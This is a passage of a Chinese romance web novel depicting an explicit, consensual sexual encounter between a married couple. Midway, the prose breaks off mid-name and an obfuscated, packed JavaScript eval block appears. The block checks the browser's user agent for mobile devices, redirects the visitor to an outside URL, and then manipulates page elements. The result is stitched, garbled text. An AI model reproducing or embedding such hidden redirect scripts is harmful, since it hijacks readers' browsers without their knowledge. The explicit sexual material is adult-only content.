汩汩流淌着的,黏腻得很不舒服。
夏稚脑子一片混沌,消化了片刻,才理解对方的含义。
她睁大了眼睛,心里有点后悔,早知道不穿睡裙。
琥珀色的瞳里已经荡漾了水意,濡湿的后脊黏腻着衣衫。
面前的裴述京,手搭在裤腰上,神色似乎有点引诱的意味。
裴述京通身没有多余的装饰,手腕上戴了块爱彼,表地链条设计很硬朗,表盘宽大,坚硬锃亮的金属质地,闪着冷峻的光。
手腕将将卡住的棉麻上衣。
两种极端的材质反差,反而有种微妙的平衡。
不知是有意还是无意间,手腕带起了衣襟,恰好露出一点腹肌的边缘。
很利索的线条,不是那种过大的肌肉块群,但筋络分明、骨骼漂亮。
腰腹部青筋凸起,有些可怖,显露出不相称的野性,收束而下,隐没入纯良的浅灰色。
就暼了一眼,夏稚就有点不好意思看,微微别过了脸,装傻道:“什么意思。”
裴述京笑了笑。
“要不要摸,”他极有耐心地重新问了一遍,“让你摸摸看,到底短不短。”
眼神望过来,不闪躲。
夏稚胡乱地点点头。
裴述京并不满意她的答案,抬了右手,小心拨开她额间的碎发。
他微微用力,勾住女孩的下颌。
四目相视。
裴述京的下睫毛非常浓密,近看之下,凭空多了些许殊色。浓密的睫毛包裹住温润的眼,像是沉睡多年的琥珀。
他认真看着夏稚,循循善诱道:“小稚不能只点头,如果想,就要说出来。”
“你要对我很诚实才行。”
夏稚长长的睫毛颤抖了一下,咬着唇,犹豫着是否张口。
正踌躇着,原本十指相扣的手,裴述京陡然松开。
裴述京卸去力气,松开所有对夏稚的桎梏,微微后撤了半步。
他的手随意抓起瓶巴黎水,拧开抿了口。
衣服柔软地搭下来,衣衫整齐,连刚才微微露出来的一点腹肌都不给看了。
浅色儒雅的毛衣下摆,遮住了方才的位置。
面前的男人,眉目清明而衣冠整齐,似乎已经不打算开始下一步。
夏稚慌乱地抬起头,有点着急了。
“我数到三,”裴述京深谙谈判的尺度,似乎已经兴趣缺缺,遗憾地宣判,“过时不候。”
“三。”
“二。”
“别别别——我要!”
夏稚立刻摒弃之前的犹豫。开封不退,万一给她开盲盒开到款软的或者短的呢?
虽然昨天有隐约看到,但眼见也未必是实,还是验收一下为好。
像是怕他反悔似的,夏稚坚决地补充了一句:“我要摸。”
像是宣誓一样。
说完脸就红成一片,有点怕被裴述京笑。
“乖孩子。”
还以为会被讪笑,没想到对方却是语气温和,甚至是夸赞。
夏稚有点儿吃惊地抬了眸。
裴述京素日居高临下,似乎不曾对谁低头俯就,现在却是满意地揉了揉她的发,奖励一样地吻上去。
喉结上下滑动,热息一瞬点燃夏稚。
“诚实的好孩子。”
她的样子实在很可爱,裴述京复又沉下肩,俯身迁就她的高度,弯腰去吻她。
夏稚能明确感受到,这和方才略带侵略的亲吻,迥然不同。
像是奖罚分明的导师,裴述京这次给予的奖励吻,柔和又友好。
他轻轻地啄在唇角,然后慢条斯理地含住小舌头,悉心教导夏稚应该怎么接吻。
一点点地教导,吻几下就撤出来,他的鼻梁微微带着驼峰,刮在夏稚的脸侧,热气喷涌出来:“阿稚,来亲我。”
夏稚闭着眼睛吻上去,毫无章法。
似乎有些泄气地,夏稚撅了嘴,决定放弃:“我、我不会……”
夏稚有些灰心,却感受到裴述京温热的呼吸贴得更紧。
他用手轻轻抚过背脊,夏稚莫名想起呼噜小猫的样子,这是一种顺毛的姿势。
裴述京手势轻缓,声音带着鼓励:“宝宝一定学得会的,对不对?”
他不厌其烦地重新吻过来,动作放缓,吸吮声因为慢动作而更明显。
像是在打指导赛。吻一下,空一拍,给夏稚留出余地。
夏稚并不擅长接吻。
但很快就学会了个中关窍,她模仿着裴述京的动作,尝试着□□,有点笨拙。
裴述京倒是挺耐心,又重复了几次动作。
夏稚很快学会,回过去的吻已经似模似样。
“阿稚好聪明啊,乖宝宝。”
裴述京的手,很轻柔地顺了顺她的长发。声音喑哑,但手上的力度很温柔,一点儿都没有纠葛到发丝。
反而很舒服。
裴述京并不吝啬给予夸赞。
夏稚被夸得很受用,正恍惚着,指尖忽然就探到个沉甸甸的事物。
——方才,在夏稚沉溺于接吻的时刻里,裴述京一心二用,早已经带着她的手去丈量。
“嗯……”
夏稚终究是不敢睁眼,她紧紧地闭着眼睛,手微微蜷缩,但并未退却。
裴述京就夸奖一句:“阿稚好可爱。”
在夸赞和安抚中,夏稚渐渐松弛下来,裴述京很有耐心,等待她的情绪不再紧绷。
像是纠正学生握笔姿势那样,掌心交叠,寸寸移动。
裴述京声音缓慢而清晰,说道:“阿稚有没有去参加过学校的新生周trip?”
夏稚“嗯”了一声。
新生周的时候,学校组织学长带新生去参加各类活动,一点点探索学校。
她怀着好奇的心态,一点点、一寸寸地试探踏足,耐心的学长手把手教她使用校园卡,如何刷开实验室大门。
唯一不同的是,夏稚始终紧闭着眼睛。
在这种人造的黑暗里,五感反而被加强,她的手逐渐舒展开,掌心指腹的感受,被敏感地传递过来。
夏稚没说话。
裴述京也没有再命令她睁眼去看,也没有再进一步的动作。
沉默中,男人呼吸急促的声音越发明显,但他没讲话。
夏稚甚至能听到布料摩擦的声音,在这种寂静之中让人格外地脸红。
她尽量摒弃掉外界的声音,专心感受掌心的物事。
手心丈量出来的结果,让夏稚有点吃惊,她缓了缓,屏气凝神地回溯回去。
裴述京似乎轻笑了一声,但并没有阻止。
这次,夏稚显然态度更认真。柔若无骨的小手,重新开始测算,比之前那次更认真,也更费力气。
夏稚幼年修素描一科,在画画方面算是娴熟,后来也画油画,自然也有画过人体。
只是绘画人体经验不足。
次数有限,裸模很少,且她后来主攻光影,并不擅长人体。
但人体筋骨结构,夏稚是懂得欣赏的。
夏稚在意大利访学的时候,米兰大教堂顶上有不少流浪艺术家在修缮人体雕塑,锋利的刀刃儿削出冷硬的线条。
裴述京的身体就是刀锋横切出来的,肌理很漂亮。
方才意外瞥见的腹肌,已经是线条利索干净,现在炽热沉甸之物,则是另一种美感。
米开朗基罗的名作,就安置在佛罗伦萨美术学院,夏稚当初游学时去观摩过,那种温润的质地,有力的线条,充斥着一种感觉——有力,硬挺,野性而硕大。
夏稚莫名想起了从前看过的那些名画和雕塑,忽然有种想重执画笔的冲动。
她在这儿恍神,但裴述京的呼吸越发深重。
裴述
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202807|197264||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
京的手微微用力,压着她的小手,问:“阿稚的嘴巴和手一样软。”
似乎有些许的纾解。
但毕竟隔着衣服布料,只是这种轻微的描摹和触碰,显然不够。
养病期间,裴述京当然停止了之前的各类运动锻炼,多余的精力从前通过攀岩、游泳一类活动,现在却减少了剧烈运动。
几乎是一撩就起火。
夏稚闭着眼睛恍然不觉,甚至还更加好奇。
她的手实在顽皮,丝毫不知道,面前站立的丈夫,已经几乎要到了极限。
夏稚嫩白的脸上已经有了潮红,睫毛轻颤着,如花瓣的唇上有晶莹剔透闪烁。
因为方才的深吻,她的唇瓣已经敏感地肿了起来。
鲜红。
小姑娘的手还很不老实。
裴述京有点难受地仰了仰,眉心一跳,强自忍耐住。
手背上的青筋逐渐迸发而明晰,蜿蜒隐没入袖口。
他继续忍耐着,握住夏稚的手探完了最后一毫。
裴述京长舒了一口气。
夏稚却似乎还在回味,手又往上抬了抬——她还是很挂念刚才没摸到的腹肌!
标准的薄肌,隐有青筋凸起。
不知道手感如何。
但显然,裴述京没打算“附赠”这项服务,他十分冷酷无情地挡住了夏稚的手。
夏稚手被挡了挡,这才讪讪地缩回来。
但是依然不想睁开眼睛。
大白天的,实在有点儿……过分直白。
她深刻体会到一叶障目的另一种含义,似乎不睁开眼睛,就不会直面尴尬。
只是裴述京并未彻底放纵她的“人工致盲”。
夏稚感受到粗糙的指腹,滑过自己的眼皮,轻柔但意味明确。
“看看我,宝宝。”
她睁开眼。
在长久的黑暗之后,连柔和的流光都变得有些刺眼。
尽管裴述京已经提前按下了窗帘操作键,现下轻柔的白纱早已经合拢,将璀璨的午后光辉给挡了泰半,整个餐厅变成了旖旎的纱帐。
与外界完全隔绝。
那些灿烂明媚的郁金香,盛放着,却被柔纱稀释成了色块。
在一片洁净的白色中,裴述京依然光风霁月。
他的衣衫整洁,似乎方才只是一场普通的会议探讨,只有仔细看,才能发现,裴述京的眼尾带着一丝殊色。
看起来仍然是犹如谪仙,不食人间烟火。
夏稚咬咬唇。自己恐怕已经脸都红透了,背脊全是汗。
他却像是无事发生。
分明是裴述京牵着自己去摸的,现下却仿若置身事外。
裴述京的喉结微微一动,和善地抚摸夏稚的发。
安抚的手势轻柔。
男人的声音哑得不行,语调沉而缓慢地问:“现在回答我,短吗?”
夏稚摇摇头。
“乖孩子,回答我。”
夏稚已经不像从前那样口不对心,不过片刻,她自己都未察觉,面对裴述京,诚实比撒谎更简单。
她如实说:“当然不……而且还很……”
她有点羞于说出那几个字,尽管方才自己已经亲自用手探索过。
但毕竟没有坦诚相见,她有点难以启齿。
裴述京笑了笑,没有再纠结这个问题,能让她说话,已经是很不错的进步。
“诚实的好孩子。”
夏稚茫然失神的眼睛,在片刻之后,回过神来,露出些许愉悦。她很少被夸赞,就连幼年也从未有过这样的正反馈。
她松松地圈住裴述京的脖颈。
他却转而引入了下一个问题,嘶哑的声音带着蛊惑。
裴述京摩挲着她的脊背,轻轻地说——
“至于快不快……阿稚选个时间,亲自体验一下?”
“嗯?”